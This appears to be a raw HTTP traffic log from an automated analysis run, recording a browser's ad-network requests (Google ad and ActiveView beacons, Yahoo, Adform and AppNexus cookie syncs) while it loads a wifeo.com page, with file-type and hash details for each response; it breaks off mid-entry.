Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /activeview?avi=BKY2BAPCCWrGlOIWyYePbsJgIANDswNnJBgAAEAE4AcgBCcgDAuAEA6AGTNIIBQiAYRAB&cid=CAASBORokGo&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /cms/v1?esig=1~b04e41039133c73fafd60e0ed8cb49a70ecfb061&nwid=10000483131&sigv=1 HTTP/1.1 Host: ads.yahoo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh	217.12.15.54 HTTP/1.1 302 Found Content-Type: text/plain; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:43 GMT P3P: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: B=3ohpg51d85s03&b=3&s=8b; expires=Wed, 13-Feb-2019 14:02:43 GMT; path=/; domain=.yahoo.com Location: https://googleads.g.doubleclick.net/xbbe/match?xid=yFGbmNY1RhbxEdy8zxu3LYEo Cache-Control: private Content-Length: 0 Age: 0 Connection: keep-alive Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" Public-Key-Pins-Report-Only: max-age=2592000; pin-sha256="2fRAUXyxl4A1/XHrKNBmc8bTkzA7y4FB/GLJuNAzCqY="; pin-sha256="2oALgLKofTmeZvoZ1y/fSZg7R9jPMix8eVA6DH4o/q8="; pin-sha256="47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="; pin-sha256="cAajgxHlj7GTSEIzIYIQxmEloOSoJq7VOaxWHfv72QM="; pin-sha256="Gtk3r1evlBrs0hG3fm3VoM19daHexDWP//OCmeeMr5M="; pin-sha256="i7WTqTvh0OioIruIfFR4kMPnBqrS2rdiVPl/s2uC/CY="; pin-sha256="iduNzFNKpwYZ3se/XV+hXcbUonlLw09QPa6AYUwpu4M="; pin-sha256="I/Lt/z7ekCWanjD0Cvj5EqXls2lOaThEA0H2Bg4BT/o="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; pin-sha256="lnsM2T/O9/J84sJFdnrpsFp3awZJ+ZZbYpCWhGloaHI="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="SVqWumuteCQHvVIaALrOZXuzVVVeS7f4FGxxu6V+es4="; pin-sha256="uUwZgwDOxcBXrQcntwu+kYFpkiVkOaezL0WYEZ3anJc="; pin-sha256="UZJDjsNp1+4M5x9cbbdflB779y5YRBcV6Z6rBMLIrO4="; pin-sha256="Wd8xe/qfTwq3ylFNd3IpaqLHZbh2ZNCLluVzmeNkcpw="; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; includeSubdomains; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only" --- Additional Info ---
GET /pcs/activeview?xai=AKAOjsu7uV796Ic6P3uvrcBJUg3c9KLHr55KzkZldL5W375Ph_3C7uo5r1O9G2XNB2FSZz7cCwPMxn84rwt9iu7Y&sig=Cg0ArKJSzN-G0tG55kL8EAE&id=lidar2&adk=1&mtos=0,0,0,0,0&tos=0,0,0,0,0&p=0,0,605,160&inapp=0&mcvt=0&rs=5&mc=-1&lte=-2&bas=-1&bac=-1&if=1&r=pv&tt=831&pt=-1&deb=1-1-0-0-0--1&tvt=0&is=160,600&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560109%26bpp%3D5%26fdt%3D496%26idt%3D587%26shv%3Dr20180207%26cbv%3Dr20170110%26saldr%3Daa%26prev_fmts%3D585x60%252C585x60%252C178x600%26correlator%3D2522521449464%26frm%3D20%26ga_vid%3D709438037.1518530560%26ga_sid%3D1518530560%26ga_hid%3D1665291383%26ga_fc%3D0%26pv%3D1%26icsg%3D0%26nhd%3D1%26dssz%3D0%26mdo%3D0%26mso%3D0%26u_tz%3D60%26u_his%3D1%26u_java%3D1%26u_h%3D885%26u_w%3D1176%26u_ah%3D855%26u_aw%3D1176%26u_cd%3D24%26u_nplug%3D10%26u_nmime%3D92%26adx%3D490%26ady%3D5181%26biw%3D1159%26bih%3D754%26abxe%3D1%26scr_x%3D0%26scr_y%3D0%26eid%3D38893302%252C21061122%252C191880502%26oid%3D3%26rx%3D0%26eae%3D4%26fc%3D528%26brdim%3D%252C%252C-4%252C-4%252C1176%252C0%252C1184%252C863%252C1176%252C754%26vis%3D0%26rsz%3D%257C%257Cbr%257C%26abl%3DCS%26ppjl%3Du%26pfx%3D0%26fu%3D144%26bc%3D1%26ifi%3D4%26dtd%3D606&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560109%26bpp%3D5%26fdt%3D496%26idt%3D HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /sodar/6uQTKQJz.html HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/html Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 7233 Date: Mon, 12 Feb 2018 14:04:56 GMT Expires: Tue, 12 Feb 2019 14:04:56 GMT Last-Modified: Tue, 02 Jan 2018 21:45:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000 Age: 86267 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 7233 Md5: 30bf1c51eb9c0ba258ea2df31d24bc98 Sha1: d13abffacc94ee31dfd5a094bfa975cca8e4d292 Sha256: 25a3afe99572ebbe3af74f504252d7fe97ebd580d47f5b734c286cc40a82131e
GET /csimpr/?bn=21309103&csi=jx8IavnnCjGDnTAnrE_JdeofrBzzXNcj8alussah8sNFVA7t4fWUWQO8_7rsP1jj0 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /Banners/21767715/21767715.gif?bv=2 HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: uid=5540862615520228074	37.157.6.234 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Content-Length: 17743 Connection: keep-alive Keep-Alive: timeout=15 Last-Modified: Tue, 19 Sep 2017 08:36:49 GMT Etag: "59c0d721-454f" P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" Access-Control-Allow-Origin: * Cache-Control: public, max-age=604800 Strict-Transport-Security: max-age=0 X-Cache-Status: HIT Accept-Ranges: bytes --- Additional Info --- Magic: GIF image data, version 89a, 468 x 60 Size: 17743 Md5: f567b2253fea74153db2987bdc857b6c Sha1: 6afa5e35b7e26796b46dba59349afefaf1135673 Sha256: eeb656b80f03b69b29be4e269400c2ae84d0ca2c5b4f854826a13364a76ee938
GET /activeview?avi=BGAMsAPCCWrTuOY2fYtW1hBAAvtC4heUCAAAQATgByAEJoAYh0ggFCIBhEAE&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /activeview?avi=Bh1mCAPCCWvfwOdWvYraHqfAPAL7QuIXlAgAAEAE4AcgBCaAGIdIIBQiAYRAB&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /xbbe/match?xid=yFGbmNY1RhbxEdy8zxu3LYEo HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh Cookie: IDE=AHWqTUmlC3OmS97PO7IoOEVlyUMMKUewC4_WKt-3qAaSAuiQN6HvIXnn3x8Auxmr	172.217.22.162 HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:43 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
GET /setuid?entity=101&code=CAESELLkQuC2aJgjs93znAnFf2A&google_cver=1 HTTP/1.1 Host: ib.adnxs.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh	37.252.172.42 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx/1.13.4 Date: Tue, 13 Feb 2018 14:02:45 GMT Content-Length: 43 Connection: keep-alive Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 AN-X-Request-Uuid: 0ddd4d27-945d-4c5c-b1a3-1e51ca364fd6 Set-Cookie: anj=dTM7k!M41.DunaTF']wIg2HaQD2>7N!@wnf]maBDeKuh7<xR))l!Qa3jb3'!^lmBWi7:Eak`D<_hW@eyh/egXtl2@j@]Ex]*PRPP(dH]--Iz+; Path=/; Max-Age=7776000; Expires=Mon, 14-May-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly sess=1; Path=/; Max-Age=86400; Expires=Wed, 14-Feb-2018 14:02:45 GMT; Domain=.adnxs.com; HttpOnly X-Proxy-Origin: 77.40.129.123; 77.40.129.123; 247.bm-nginx-loadbalancer.mgmt.fra1; .adnxs.com; 37.252.172.21:80 --- Additional Info --- Magic: GIF 